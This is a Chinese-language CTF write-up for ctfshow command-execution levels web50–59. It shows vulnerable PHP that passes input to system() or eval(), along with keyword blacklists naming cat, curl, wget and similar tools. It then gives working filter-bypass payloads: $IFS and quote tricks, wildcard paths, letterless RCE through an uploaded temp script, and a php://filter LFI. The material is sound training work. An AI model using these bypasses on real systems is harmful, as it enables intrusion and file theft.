命令执行(3)ctfshow_web入门命令执行web50-59

web50-51

if(isset($_GET['c'])){
    $c=$_GET['c'];
   if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");

空格,%09,%26都没有了,采用带行号读的命令

?c=nl<fla''g.php||ls               #编码前
?c=nl<fla''g.php%7C%7Cls #编码后

显示1,查看源代码获得flag

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }

限制通道符,把$放出来了,通过复制或者重命名的方式
$IFS,用于内部字段分隔符

?c=mv${IFS}fla?.php${IFS}a.txt%7C%7Cls

?c=ls%7C%7Cls

查看a.txt,发现是假的
在这里插入图片描述
查看根目录发现真flag

?c=ls${IFS}/%7C%7Cls

将flag移入当前文件夹下,查看,获得flag

?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt%7C%7Cls

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }

system返回值:成功则返回命令输出的最后一行, 失败则返回 false

?c=ta''c${IFS}fla?.php

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);

单引号绕过不可用了
?c=mv${IFS}fla?.php${IFS}a.txt即可
访问执行a.txt

web55-56

限制了字母,考虑无字母RCE
制作表单

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://e47e7ada-c3eb-4d83-ac9c-400de9634fff.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

开启抓包,上传一个文件,
在这里插入图片描述
移到repeater
在这里插入图片描述
更改目录(由于上传后文件会保存到临时文件夹,文件名不固定,用通配符匹配),增加shell语句

?c=.%20/???/????????

#!/bin/sh
cat flag.php

提交(可能没反应,多提交几次)

web56访问flag.php无效
使用

#!/bin/sh
cat /var/www/html/flag.php

web57

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

过滤了字母、数字、分号、2个通配符
没过滤$,利用括号的数学运算
在这里插入图片描述
题目要求构造出36,-37取反为36,即为

$((~$((-1+-1+-1+....))))

最终构造

$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

在这里插入图片描述
get传参执行即可获取flag

web58

变成禁用函数的题目,不清楚禁用了哪些函数,一个一个尝试

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

可以POST

c=echo file_get_contents("flag.php");

或者

c=show_source('flag.php');

web59

show_sourse没有被禁用

c=show_source('flag.php');

或者POSTinclude函数

GET(?1=后面的由LFI->PHP wrapper Base64传入)
http://f9efd4da-93c5-4bba-8d9c-07d58679e553.challenge.ctf.show:8080/?1=php://filter/convert.base64-encode/resource=flag.php

POST
c=include($_GET[1]);

解码得到flag


版权声明:本文为weixin_47726676原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。